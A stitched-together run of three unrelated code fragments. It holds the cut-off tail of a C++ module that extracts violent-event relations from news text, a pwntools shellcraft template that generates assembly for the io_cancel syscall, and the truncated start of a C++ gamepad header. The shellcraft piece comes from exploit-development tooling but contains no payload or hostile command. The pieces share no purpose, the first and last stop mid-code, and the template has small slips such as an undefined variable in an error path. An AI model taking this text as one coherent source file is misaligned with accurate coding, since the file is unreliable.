EIUtils::getKBPSpecString(docData->getDocTheory(), bestDate, emptyDate); DateSpecReturnPFeature_ptr dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, bestDate->getSentenceNumber(), bestDate, emptyDate); dateSpecFeature->setCoverage(docData->getDocTheory()); // essential! dateSpecFeature->setReturnValue(L"role", L"t:ClippedBackward"); dateSpecFeature->setReturnValue(L"type", L"xsd:string"); dateSpecFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateSpecFeature); } } if (!end_set && goodEndDateMentions.size() > 0) { const ValueMention* bestDate = EIUtils::getBestDateMention(goodEndDateMentions,nonSpecificDateMentions,sent_theory,featureSet); const ValueMention* emptyDate = 0; if (bestDate != 0) { std::wstring specString = EIUtils::getKBPSpecString(docData->getDocTheory(), emptyDate, bestDate); DateSpecReturnPFeature_ptr dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, bestDate->getSentenceNumber(), bestDate, emptyDate); dateSpecFeature->setCoverage(docData->getDocTheory()); // essential! dateSpecFeature->setReturnValue(L"role", L"t:ClippedForward"); dateSpecFeature->setReturnValue(L"type", L"xsd:string"); dateSpecFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateSpecFeature); } } } ///////////////////// // // // MERGE FUNCTIONS // // // ///////////////////// // First, gather all location, mediatingAgent, and date arguments from existing relations. // Second, assign those arguments to other relations, as deemed safe. // Third, remove relations which are entirely subsumed by another. // Fourth, find relations which are contradictory and split up their event individuals. // For now, we will do this when they have contradictory dates or when the patient of one is the agent of another. // Called by ElfDocument constructor. void ElfInference::mergeRelationArguments(EIDocData_ptr docData, int sent_no, std::set<ElfRelation_ptr>& sentence_relations, const std::set<ElfIndividual_ptr>& sentence_individuals) { throw_if_ei_not_initialized(); // NOTE: THIS CURRENTLY ONLY FIRES FOR MANUAL PATTERN RESULTS /** Approach: * Dates are shared between all violent events in a sentence * Locations are shared between all violent events in a sentence * If X is the agent of a bombing or attack, share X with all violent events in sentence **/ // Does this sentence have a justice event? These often lead to bad dates. bool has_justice_event = false; SentenceTheory *st = docData->getSentenceTheory(sent_no); EventMentionSet *ems = st->getEventMentionSet(); for (int i = 0; i < ems->getNEventMentions(); i++) { std::wstring event_type = ems->getEventMention(i)->getEventType().to_string(); if (event_type.find(L"Justice") == 0) { has_justice_event = true; break; } } std::set<ElfRelationArg_ptr> attackDates; std::set<ElfRelationArg_ptr> attackLocations; std::set<ElfRelationArg_ptr> mediatingAgents; std::set<ElfRelation_ptr> bombingEvents; std::set<ElfRelation_ptr> killingOrInjuryEvents; const Mention *locationMent = 0; bool has_multiple_locations = false; // We only want to run some of these steps if we are dealing with violent events. // We figure this out simply by making sure we see at least one violent event, which // tells us that we are dealing with the violent event pattern file... bool has_violent_event = false; // // First, gather all location, mediatingAgent, and date arguments from existing relations // bool is_too_dangerous = false; BOOST_FOREACH(ElfRelation_ptr relation, sentence_relations) { if (EIUtils::isBombing(relation)) bombingEvents.insert(relation); else if (EIUtils::isKilling(relation) || EIUtils::isInjury(relation)) killingOrInjuryEvents.insert(relation); else if (EIUtils::isAttack(relation) || EIUtils::isGenericViolence(relation)) { // OK } else continue; has_violent_event = true; BOOST_FOREACH(ElfRelationArg_ptr arg, relation->get_args()) { if (arg->get_role().compare(L"eru:eventLocation") == 0 || arg->get_role().compare(L"eru:eventLocationGPE") == 0 || arg->get_role().compare(L"eru:aceEventLocationGPE") == 0) { const Mention *ment = EIUtils::findMentionForRelationArg(docData, arg); if (ment == 0) continue; Symbol headword = ment->getNode()->getHeadWord(); if (arg->get_role().compare(L"eru:aceEventLocationGPE") == 0) { // if this location came from an ACE event and it's a nationality, beware! if (NationalityRecognizer::isLowercaseNationalityWord(headword)) continue; arg->set_role(L"eru:eventLocationGPE"); } // don't allow "to LOCATION" or "from LOCATION" if (ment->getNode()->getParent() != 0 && ment->getNode()->getParent()->getTag() == Symbol(L"PP") && (ment->getNode()->getParent()->getHeadWord() == Symbol(L"to") || ment->getNode()->getParent()->getHeadWord() == Symbol(L"from"))) continue; attackLocations.insert(arg); // figure out whether there is more than one distinct location mention in this sentence if (locationMent != 0 && locationMent != ment) has_multiple_locations = true; else locationMent = ment; } else if (arg->get_role().compare(L"eru:mediatingAgent") == 0) mediatingAgents.insert(arg); else if (arg->get_role().compare(L"eru:eventDate") == 0 || arg->get_role().compare(L"eru:aceEventDate") == 0) { // If there is a justice event mentioned, probably the crime is in the past // and the trial (or whatever) is recent if (has_justice_event && EIUtils::isRecentDate(arg)) continue; if (arg->get_role().compare(L"eru:aceEventDate") == 0) arg->set_role(L"eru:eventDate"); attackDates.insert(arg); BOOST_FOREACH(ElfRelationArg_ptr otherDate, attackDates) { if (EIUtils::isContradictoryDate(arg, otherDate)) { // Too dangerous to do any merging in a sentence with contradictory dates is_too_dangerous = true; } } } } } if (!has_violent_event) return; // // Second, assign those arguments to other relations, as deemed safe. // if (!is_too_dangerous) { std::map<ElfRelation_ptr, std::set<ElfRelationArg_ptr> > patientMap; BOOST_FOREACH(ElfRelation_ptr relation, sentence_relations) { std::wstring event_type = EIUtils::getTBDEventType(relation); if (event_type == L"") continue; // Don't add dates if one already exists if (relation->get_arg(L"eru:eventDate") == ElfRelationArg_ptr()) { BOOST_FOREACH(ElfRelationArg_ptr date, attackDates) { relation->insert_argument(date); } } // Don't add locations if one already exists if (!has_multiple_locations && relation->get_arg(L"eru:eventLocation") == ElfRelationArg_ptr() && relation->get_arg(L"eru:eventLocationGPE") == ElfRelationArg_ptr()) { BOOST_FOREACH(ElfRelationArg_ptr location, attackLocations) { relation->insert_argument(location); } } // Agents are a bit more complicated because they might change type/role std::wstring agent_role = EITbdAdapter::getAgentRole(event_type); if (relation->get_arg(agent_role) == ElfRelationArg_ptr()) { bool has_agent = false; BOOST_FOREACH(ElfRelationArg_ptr agent, mediatingAgents) { ElfRelationArg_ptr new_agent = boost::make_shared<ElfRelationArg>(agent); new_agent->set_role(agent_role); relation->insert_argument(new_agent); has_agent = true; } if (has_agent && (event_type == L"killing" || event_type == L"injury")) { relation->set_name(EITbdAdapter::getEventName(event_type, true)); ElfIndividual_ptr event_individual = relation->get_arg(EITbdAdapter::getEventRole(event_type))->get_individual(); ElfType_ptr old_event_type = event_individual->get_type(); EDTOffset start, end; old_event_type->get_offsets(start, end); event_individual->set_type(boost::make_shared<ElfType>(EITbdAdapter::getEventType(event_type, true), old_event_type->get_string(), start, end)); } } } } // // Third, remove relations which are entirely subsumed by another // std::set<ElfRelation_ptr> relationsToRemove; BOOST_FOREACH(ElfRelation_ptr relation, sentence_relations) { if (EIUtils::isGenericViolence(relation)) continue; BOOST_FOREACH(ElfRelation_ptr other_relation, sentence_relations) { if (relation == other_relation) continue; // don't allow a removed relation to subsume you... if (relationsToRemove.find(other_relation) != relationsToRemove.end()) continue; // A relation is considered "subsumed" if all of its arguments are 'covered' // by some other relation. An argument is 'covered' if the individual IDs are the // same and the roles are the same. // Note that this includes the event individual, so there can only be subsumption between // events of the same "type". (Bombing cannot match to HumanKillingEvent. However, // this does allow a match between the withAgent and withoutAgent varieties of killings/injuries, // since those event individuals have the same role.) bool is_subsumed = true; BOOST_FOREACH(ElfRelationArg_ptr arg, relation->get_args()) { if (arg->get_individual() == ElfIndividual_ptr() || arg->get_individual()->has_value()) { is_subsumed = false; break; } bool matched = false; BOOST_FOREACH(ElfRelationArg_ptr other_arg, other_relation->get_args_with_role(arg->get_role())) { if (other_arg->get_individual() == ElfIndividual_ptr() || other_arg->get_individual()->has_value()) continue; if (arg->get_individual()->get_best_uri() == other_arg->get_individual()->get_best_uri() && arg->get_role() == other_arg->get_role()) { matched = true; break; } } if (!matched) { is_subsumed = false; break; } } if (is_subsumed) { relationsToRemove.insert(relation); break; } } } BOOST_FOREACH(ElfRelation_ptr relation, relationsToRemove) { std::set<ElfRelation_ptr>::iterator relation_i = sentence_relations.find(relation); if (relation_i != sentence_relations.end()) { sentence_relations.erase(relation_i); } } // // Fourth, find relations which are contradictory and split up their event individuals. // For now, we will do this when they have contradictory dates or when the patient of one is the agent of another. // std::vector<ElfRelationSortedSet>sortedRelations; BOOST_FOREACH(ElfRelation_ptr relation, sentence_relations) { if (EIUtils::isGenericViolence(relation)) continue; bool found_match = false; for (size_t i = 0; i < sortedRelations.size(); i++) { bool is_contradictory = false; BOOST_FOREACH(ElfRelation_ptr previous_relation, sortedRelations.at(i)) { if (EIUtils::isContradictoryRelation(docData, relation, previous_relation)) { is_contradictory = true; break; } } if (!is_contradictory) { found_match = true; sortedRelations.at(i).insert(relation); break; } } if (!found_match) { ElfRelationSortedSet new_relations; new_relations.insert(relation); sortedRelations.push_back(new_relations); } } if (sortedRelations.size() > 1) { //SessionLogger::info("LEARNIT") << "\nSplitting events in sentence: " << docData->getSentenceTheory(sent_no)->getPrimaryParse()->getRoot()->toDebugTextString() << "\n"; // Create new individual IDs for the events in these bins for (size_t i = 0; i < sortedRelations.size(); i++) { BOOST_FOREACH(ElfRelation_ptr relation, sortedRelations.at(i)) { std::wstring event_type = EIUtils::getTBDEventType(relation); BOOST_FOREACH(ElfRelationArg_ptr arg, relation->get_args_with_role(EITbdAdapter::getEventRole(event_type))) { if (arg->get_individual() != ElfIndividual_ptr()) { std::wstringstream new_id; new_id << arg->get_individual()->get_generated_uri(); new_id << L"."; new_id << i; arg->get_individual()->set_generated_uri(new_id.str()); } } } } } //addPatientBasedEventIndividualCoref(sentence_relations, previous_relations); } //void ElfInference::addPatientBasedEventIndividualCoref(std::set<ElfRelation_ptr>& sentence_relations, // std::set<ElfRelation_ptr>& previous_relations) { // // uber-inefficient! // // Code to add patient-based event individual coreference // BOOST_FOREACH(ElfRelation_ptr relation, sentence_relations) { // std::set<ElfRelationArg_ptr> patientArgs = getPatientArguments(relation); // if (patientArgs.size() == 0) // continue; // std::wstring event_type = EIUtils::getTBDEventType(relation); // BOOST_FOREACH(ElfRelation_ptr previous_relation, previous_relations) { // std::wstring prev_event_type = EIUtils::getTBDEventType(previous_relation); // if (event_type != prev_event_type) // continue; // std::set<ElfRelationArg_ptr> prevPatientArgs = getPatientArguments(previous_relation); // bool found_match = false; // BOOST_FOREACH(ElfRelationArg_ptr arg1, patientArgs) { // BOOST_FOREACH(ElfRelationArg_ptr arg2, prevPatientArgs) { // if (arg1->get_individual() != ElfIndividual_ptr() && // arg2->get_individual() != ElfIndividual_ptr() && // arg1->get_individual()->get_id() == arg2->get_individual()->get_id()) // { // found_match = true; // } // } // } // if (found_match && !isContradictoryRelation(relation, previous_relation)) { // std::wstring prev_id = L""; // BOOST_FOREACH(ElfRelationArg_ptr arg, previous_relation->get_args_with_role(EITbdAdapter::getEventRole(event_type))) { // if (arg->get_individual() != ElfIndividual_ptr()) { // prev_id = arg->get_individual()->get_id(); // break; // } // } // if (prev_id.size() != 0) { // BOOST_FOREACH(ElfRelationArg_ptr arg, relation->get_args_with_role(EITbdAdapter::getEventRole(event_type))) { // if (arg->get_individual() != ElfIndividual_ptr()) { // arg->get_individual()->set_id(prev_id); // } // } // } // } // } // } //} // Where the agent and the patient are the same, and there is no explicit sign that this is okay // (such as the presence of the word "suicide" or "himself" or "herself"), remove the agent args. // If we remove all the agents, we may need to re-set the event type and the relation name. // Called by the ElfDocument constructor. void ElfInference::pruneDoubleEntitiesFromEvents(EIDocData_ptr docData, int sent_no, const std::set<ElfRelation_ptr> & sentence_relations) { throw_if_ei_not_initialized(); std::wstring sentenceString = docData->getSentenceTheory(sent_no)->getPrimaryParse()->getRoot()->toTextString(); BOOST_FOREACH(ElfRelation_ptr relation, sentence_relations) { std::wstring event_type = L""; if (EIUtils::isKilling(relation)) event_type = L"killing"; else if (EIUtils::isInjury(relation)) event_type = L"injury"; else if (EIUtils::isBombing(relation)) event_type = L"bombing"; else if (EIUtils::isAttack(relation)) event_type = L"attack"; else continue; std::wstring agent_role = EITbdAdapter::getAgentRole(event_type); std::set<std::wstring> patient_roles; try { patient_roles.insert(EITbdAdapter::getPatientRole(event_type, EntityType::getPERType(), EntitySubtype(L"PER.Individual"))); } catch ( ... ) {} try { patient_roles.insert(EITbdAdapter::getPatientRole(event_type, EntityType::getPERType(), EntitySubtype(L"PER.Group"))); } catch ( ... ) {} patient_roles.insert(EITbdAdapter::getPatientRole(event_type, EntityType::getORGType(), EntitySubtype::getUndetType())); std::set<ElfRelationArg_ptr> agents; std::set<ElfRelationArg_ptr> patients; BOOST_FOREACH(ElfRelationArg_ptr arg, relation->get_args()) { if (arg->get_role().compare(agent_role) == 0) agents.insert(arg); else if (patient_roles.find(arg->get_role()) != patient_roles.end()) patients.insert(arg); } if (agents.size() == 0 || patients.size() == 0) continue; unsigned int n_agents_removed = 0; BOOST_FOREACH(ElfRelationArg_ptr agent, agents) { if (agent->get_individual().get() == NULL) continue; std::wstring agent_id = agent->get_individual()->get_best_uri(); BOOST_FOREACH(ElfRelationArg_ptr patient, patients) { if (patient->get_individual().get() == NULL) continue; std::wstring patient_id = patient->get_individual()->get_best_uri(); if (patient_id == agent_id) { // block cases where it's likely ok that the agent/patient are the same const Mention *patientMent = EIUtils::findMentionForRelationArg(docData, patient); // actually this seems quite unlikely since we don't get these as PERs :( if (patientMent && (patientMent->getNode()->getHeadWord() == Symbol(L"himself") || patientMent->getNode()->getHeadWord() == Symbol(L"herself"))) { continue; } if (sentenceString.find(L"suicide") != std::wstring::npos) { continue; } relation->remove_argument(agent); n_agents_removed++; break; } } } // if we removed all the agents, we may need to re-set the event type and the relation name if (n_agents_removed == agents.size()) { // e.g., if event_type = "injury", event_role will be "humanInjuryEvent". std::wstring event_role = EITbdAdapter::getEventRole(event_type); // e.g., if event_type = "injury", new_event_type will be "ic:HumanAgentInjuringAPerson" or // "ic:HumanInjuryEvent" std::wstring new_event_type = EITbdAdapter::getEventType(event_type, false); BOOST_FOREACH(ElfRelationArg_ptr arg, relation->get_args_with_role(event_role)) { ElfIndividual_ptr event_individual = arg->get_individual(); ElfType_ptr old_event_type = event_individual->get_type(); EDTOffset start, end; old_event_type->get_offsets(start, end); event_individual->set_type(boost::make_shared<ElfType>(new_event_type, old_event_type->get_string(), start, end)); } std::wstring new_event_name = EITbdAdapter::getEventName(event_type, false); relation->set_name(new_event_name); } } } // This is a static method called by PredicationFinder::run(). void ElfInference::fixNewswireLeads(const DocTheory *docTheory) { throw_if_ei_not_initialized(); for (int sent = 0; sent < docTheory->getNSentences(); sent++) { SentenceTheory *st = docTheory->getSentenceTheory(sent); if (sent == 0 || EIUtils::isLikelyDateline(docTheory->getSentenceTheory(sent-1))) { const MentionSet *ms = st->getMentionSet(); const Mention *onlyPersonMention = 0; bool more_than_one_person = false; bool person_name = false; for (int m = 0; m < ms->getNMentions(); m++) { if (!ms->getMention(m)->getEntityType().matchesPER()) continue; if (ms->getMention(m)->getMentionType() == Mention::NAME) person_name = true; else if (EIUtils::isLikelyNewswireLeadDescriptor(ms->getMention(m))) { if (onlyPersonMention) { more_than_one_person = true; } else onlyPersonMention = ms->getMention(m); } } if (!more_than_one_person && !person_name && onlyPersonMention != 0) { EIUtils::attemptNewswireLeadFix(docTheory, sent, onlyPersonMention); } } } } // Currently called only by removeDangerousPronounsForNFLGames() (whose only invocation // is currently commented out). //std::set<ElfRelationArg_ptr> ElfInference::removeConflictingMentions(const Mention* m1, const ElfRelationArg_ptr arg1, // const Mention* m2, const ElfRelationArg_ptr arg2){ // const EntitySet* es =docData->getEntitySet(); // std::set<ElfRelationArg_ptr> toRemove; // if(arg1 == NULL){ // return toRemove; // } // if(arg2 == NULL){ // return toRemove; // } // if(m1 != 0 && m1->getMentionType() == Mention::PRON){ // if(m2 != 0){ // const Entity* e1 = es->getEntityByMentionWithoutType(m1->getUID()); // const Entity* e2 = es->getEntityByMentionWithoutType(m2->getUID()); // if(e1 != 0 && e1 == e2) // toRemove.insert(arg1); // } // else if(arg2->get_value() == arg1->get_value()){ // toRemove.insert(arg1); // } // else // SessionLogger::info("LEARNIT")<<"Allow: "<<arg2->get_value()<<", "<<arg1->get_value()<<std::endl; // } // if(m2 != 0 && m2->getMentionType() == Mention::PRON){ // if(m1 != 0){ // const Entity* e1 = es->getEntityByMentionWithoutType(m1->getUID()); // const Entity* e2 = es->getEntityByMentionWithoutType(m2->getUID()); // if(e1 != 0 && e1 == e2) // toRemove.insert(arg2); // } // else if(arg2->get_value() == arg1->get_value()){ // toRemove.insert(arg2); // } // else // SessionLogger::info("LEARNIT")<<"Allow: "<<arg2->get_value()<<", "<<arg1->get_value()<<std::endl; // } // if(m1 && m2 && m2->getMentionType() != Mention::PRON && m1->getMentionType() != Mention::PRON){ // SessionLogger::info("LEARNIT")<<"Not pronouns"<<std::endl; // SessionLogger::info("LEARNIT")<<"Arg1: "<<m1->getHead()->toTextString()<<std::endl; // SessionLogger::info("LEARNIT")<<"Arg2: "<<m2->getHead()->toTextString()<<std::endl; // } // return toRemove; //} // The only call to this function is currently commented out. //void ElfInference::removeDangerousPronounsForNFLGames(){ // /*BOOST_FOREACH(ElfRelation_ptr relation, docData->get_relations()){ // std::vector<ElfRelationArg_ptr> args = relation->get_args(); // std::vector<ElfRelationArg_ptr> unconfidentArgs = getUnconfidentArguments(args); // BOOST_FOREACH(ElfRelationArg_ptr arg, unconfidentArgs){ // std::ostringstream ostr; // ostr<<"Delete Pronoun (all): "<<std::endl; // relation->dump(ostr, 5); // ostr<<"Arg to delete"<<std::endl; // arg->dump(ostr, 5); // const Mention* arg_mention = findMentionForRelationArg(arg); // ostr<<arg_mention->getHead()->toTextString()<<std::endl; // SessionLogger::info("LEARNIT")<<ostr.str(); // relation->remove_argument(arg); // } // }*/ // bool printed = false; // const DocTheory * docTheory = docData->getDocTheory(); // BOOST_FOREACH(ElfRelation_ptr relation1, docData->get_relations()){ // std::vector<ElfRelationArg_ptr> winnerArgs1 = relation1->get_args_with_role(L"eru:gameWinner"); // std::vector<ElfRelationArg_ptr> loserArgs1 = relation1->get_args_with_role(L"eru:gameLoser"); // std::vector<ElfRelationArg_ptr> gameArgs1 = relation1->get_args_with_role(L"eru:NFLGame"); // if((winnerArgs1.size() != 1 || loserArgs1.size() != 1) && gameArgs1.size() != 1) // continue; // BOOST_FOREACH(ElfRelation_ptr relation2, docData->get_relations()){ // std::vector<ElfRelationArg_ptr> winnerArgs2 = relation2->get_args_with_role(L"eru:gameWinner"); // std::vector<ElfRelationArg_ptr> loserArgs2 = relation2->get_args_with_role(L"eru:gameLoser"); // std::vector<ElfRelationArg_ptr> gameArgs2 = relation2->get_args_with_role(L"eru:NFLGame"); // if((winnerArgs2.size() != 1 || loserArgs2.size() != 1) && gameArgs2.size() != 1) // continue; // ElfRelationArg_ptr g1Arg = gameArgs1[0]; // ElfRelationArg_ptr g2Arg = gameArgs2[0]; // int g1Sent = getSentenceNumberForArg(docTheory, gameArgs1[0]); // int g2Sent = getSentenceNumberForArg(docTheory, gameArgs2[0]); // if(g1Sent != g2Sent) // continue; // if(g1Sent == -1) // continue; // const Mention* w1Ment = 0; // ElfRelationArg_ptr w1Arg; // if(winnerArgs1.size() > 0){ // w1Arg = winnerArgs1[0]; // w1Ment = findMentionForRelationArg(w1Arg); // } // const Mention* l1Ment = 0; // ElfRelationArg_ptr l1Arg; // if(loserArgs1.size() > 0){ // l1Arg = loserArgs1[0]; // l1Ment = findMentionForRelationArg(l1Arg); // } // const Mention* w2Ment = 0; // ElfRelationArg_ptr w2Arg; // if(winnerArgs2.size() > 0){ // w2Arg = winnerArgs2[0]; // w2Ment = findMentionForRelationArg(w2Arg); // } // const Mention* l2Ment = 0; // ElfRelationArg_ptr l2Arg; // if(loserArgs2.size() > 0){ // l2Arg = loserArgs2[0]; // l2Ment = findMentionForRelationArg(l2Arg); // } // std::set<ElfRelationArg_ptr> argsToRemove = removeConflictingMentions(w1Ment, w1Arg, l2Ment, l2Arg); // BOOST_FOREACH(ElfRelationArg_ptr arg, argsToRemove){ // std::ostringstream ostr; // ostr << "Delete loser (w1--l2): "<<std::endl; // relation2->dump(ostr, 5); // ostr<<"Arg to delete"<<std::endl; // l2Arg->dump(SessionLogger::info("LEARNIT"), 5); // SessionLogger::info("LEARNIT")<<ostr.str(); // relation1->remove_argument(l2Arg); // } // argsToRemove = removeConflictingMentions(w2Ment, w2Arg, l1Ment, l1Arg); // BOOST_FOREACH(ElfRelationArg_ptr arg, argsToRemove){ // std::ostringstream ostr; // ostr <<"Delete loser (w2--l1): "<<std::endl; // relation2->dump(ostr, 5); // ostr<<"Arg to delete"<<std::endl; // l2Arg->dump(ostr, 5); // SessionLogger::info("LEARNIT")<<ostr.str(); // relation1->remove_argument(l2Arg); // } // } // } //} // /** * Dumps information pertaining to a given document into two files. Each has the same path and basename as * the original, but one has an extension of ".dump" and the other has an extension of ".txt". * @param docData An EIDocData_ptr returned from a previous call to prepareDocumentForInference() invoked * on the same document. **/ void ElfInference::dump(EIDocData_ptr docData) { throw_if_ei_not_initialized(); std::string dump_dir = ParamReader::getParam("dump_dir", "elf-dumps"); //_mkdir(dump_dir); const DocTheory *docTheory = docData->getDocTheory(); std::ostringstream dumpfile; std::string docName = docTheory->getDocument()->getName().to_debug_string(); dumpfile << docName << ".dump"; std::ostringstream srcTxtFile; srcTxtFile << docName << ".txt"; ofstream dumpStream(dumpfile.str().c_str()); UTF8OutputStream txtStream(srcTxtFile.str().c_str()); SessionLogger::info("ei_dump_0") << "Dumping text to: " << dumpfile.str() <<std::endl; for (int i = 0; i < docTheory->getNSentences(); i++) { docTheory->getSentenceTheory(i)->dump(dumpStream); txtStream << docTheory->getSentenceTheory(i)->getTokenSequence()->toString() << "\n"; } docTheory->getEntitySet()->dump(dumpStream); dumpStream.close(); txtStream.close(); BOOST_FOREACH(ElfRelation_ptr r, docData->get_relations()){ std::ostringstream ostr; ostr<<"\nrelation: " <<std::endl; r->dump(ostr, 5); SessionLogger::info("ei_dump_1")<<ostr.str(); } } // PRIVATE STATIC METHOD void ElfInference::throw_if_ei_not_initialized() { static const std::string err_msg("ERROR: Attempt to call an ElfInference method before constructing an ElfInference object."); if (!_initialized) { SessionLogger::info("LEARNIT") << err_msg << std::endl; std::runtime_error e(err_msg.c_str()); throw e; } } void ElfInference::addTitleXDocIDs(EIDocData_ptr docData){ //first assign the ids to all individuals that have a title std::set<ElfIndividual_ptr> titleIndividuals; BOOST_FOREACH(ElfRelation_ptr relation, docData->get_relations()){ if(relation->get_name() != L"eru:PersonTitleInOrganization"){ continue; } BOOST_FOREACH(ElfRelationArg_ptr arg, relation->get_args_with_role(L"eru:titleOfPTIO")){ std::wstring arg_str = arg->get_text(); if(arg->get_individual() == NULL) continue; ElfIndividual_ptr individual = arg->get_individual(); if(boost::ends_with(individual->get_type()->get_value(), L"Title")){ titleIndividuals.insert(individual); } } } BOOST_FOREACH(ElfIndividual_ptr individual, docData->getElfDoc()->get_individuals_by_type()){ if(boost::ends_with(individual->get_type()->get_value(), L"Title")) titleIndividuals.insert(individual); } const DocTheory* docTheory = docData->getDocTheory(); const EntitySet* entitySet = docTheory->getEntitySet(); BOOST_FOREACH(ElfIndividual_ptr individual, titleIndividuals){ std::set<ElfIndividual_ptr> corefInds; if(boost::starts_with(individual->get_best_uri(), L"bbn:")){//hasn't been changed yet, and it isn't bound BOOST_FOREACH(ElfIndividual_ptr ind2, titleIndividuals){ if(individual->get_best_uri() == ind2->get_best_uri()) corefInds.insert(ind2); } } std::set<std::wstring> moreSpecificTitles; BOOST_FOREACH(ElfIndividual_ptr ind2, corefInds){ std::wstring individual_type = individual->get_type()->get_value(); std::wstring prefixless_type = individual_type.substr(individual_type.find_first_of(L":") + 1); if(prefixless_type != L"Title") moreSpecificTitles.insert(prefixless_type); } if(moreSpecificTitles.size() > 1){ //shouldn't have assigned multiple specific types, if we did this could be a problem std::wcout<<"ElfInference::addTitleXDocIDs(): Warning multiple title subtypes: "; BOOST_FOREACH(std::wstring t, moreSpecificTitles){ std::wcout<<t<<", "; } std::wcout<<std::endl; } std::wstring prefix = L"bbn:XDoc-Title-"; if(moreSpecificTitles.size() > 0){ std::wstringstream ss; ss <<"bbn:XDoc"; BOOST_FOREACH(std::wstring t, moreSpecificTitles){ ss<<L"-"<<t; } ss<<L"-"; prefix = ss.str(); } BOOST_FOREACH(ElfIndividual_ptr ind2, corefInds){ std::wstring txt; if(ind2->has_mention_uid()){ const Mention* m = entitySet->getMention(ind2->get_mention_uid()); txt = m->getNode()->toTextString(); } else{ txt = ind2->get_name_or_desc()->get_value(); } txt = UnicodeUtil::normalizeTextString(txt); boost::replace_all(txt, L" ", L"_"); if(txt.length() > 5){ std::wstring oldtitle = txt; if(boost::starts_with(txt, L"the_")){ boost::replace_first(txt, L"the_", L""); } if(boost::starts_with(txt, L"a_")){ boost::replace_first(txt, L"a_", L""); } } ind2->set_coref_uri(prefix+txt); } } }
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> <%docstring>io_cancel(ctx_id, iocb, result) -> str Invokes the syscall io_cancel. See 'man 2 io_cancel' for more information. Arguments: ctx_id(aio_context_t): ctx_id iocb(iocb*): iocb result(io_event*): result Returns: int </%docstring> <%page args="ctx_id=0, iocb=0, result=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = [] can_pushstr_array = [] argument_names = ['ctx_id', 'iocb', 'result'] argument_values = [ctx_id, iocb, result] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False))) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_io_cancel']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* io_cancel(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
/*********************************************************************** * Copyright 2011-2013 Computer Graphics Group RWTH Aachen University. * * All rights reserved. * * Distributed under the terms of the MIT License (see LICENSE.TXT). * **********************************************************************/ #pragma once #include <ACGL/ACGL.hh> #include <string> #include <linuxjoystick/Joystick.h> namespace ACGL{ namespace HardwareSupport{ /** * NOTE: Will not work unless ACGL_COMPILE_WITH_GLFW or ACGL_COMPILE_WITH_QT (linux only) is defined! * * * For the known gamepads, all axes start at 0.0f. All trigger go from 0..1 and all joystick-like * analog sticks go from -1..1 while -1 is on the left or bottom / 1 is right or top. */ class GamePad { public: enum GamePadButton { SELECT = 0, START = 1, LEFT_PAD_NORTH = 2, LEFT_PAD_EAST = 3, LEFT_PAD_SOUTH = 4, LEFT_PAD_WEST = 5, RIGHT_PAD_NORTH = 6, RIGHT_PAD_EAST = 7, RIGHT_PAD_SOUTH = 8, RIGHT_PAD_WEST = 9, LEFT_SHOULDER = 10, RIGHT_SHOULDER = 11, LEFT_TRIGGER = 12, RIGHT_TRIGGER = 13, // number of elements in this enum (itself not included): GAMEPAD_BUTTON_ENUM_SIZE = 14 }; enum GamePadAxis { LEFT_ANALOG_TRIGGER = 0, // 0..1 RIGHT_ANALOG_TRIGGER = 1, // 0..1 LEFT_ANALOG_STICK_X = 2, // -1..1 aka left-right LEFT_ANALOG_STICK_Y = 3, // -1..1 aka up-down / front-back RIGHT_ANALOG_STICK_X = 4, // -1..1 aka left-right RIGHT_ANALOG_STICK_Y = 5, // -1..1 aka up-down / front-back // number of elements in this enum (itself not included): GAMEPAD_AXIS_ENUM_SIZE = 6 }; //! connects to the _n-th joystick, start counting at 1! GamePad( int _n = 1 ); ~GamePad(); //! true if the joystick was found, note that unplugging the GamePad at runtime can not be detected! bool ok() { return mGamePadOK; } ///////////// Buttons //! true if the button with the internal number _button is pressed bool isPressedRaw( unsigned int _button ); //! only returns true if the button was mapped first! bool isPressed( GamePadButton _button ); //! true if the button was just pressed or released bool buttonStateChanged( unsigned int _button ); //! true if the button was just pressed or released bool buttonStateChanged( GamePadButton _button ); //! define the mapping of one button void setButtonMapping( GamePadButton _button, unsigned int _rawButtonNumber ); ///////////// Axes //! analog sticks and analog trigger, values are from -1..1. An unknown axis will return 0.0 float getAxisRaw( unsigned int _axis ); float getAxis( GamePadAxis _axis ); //! define the mapping of one button void setAxisMapping( 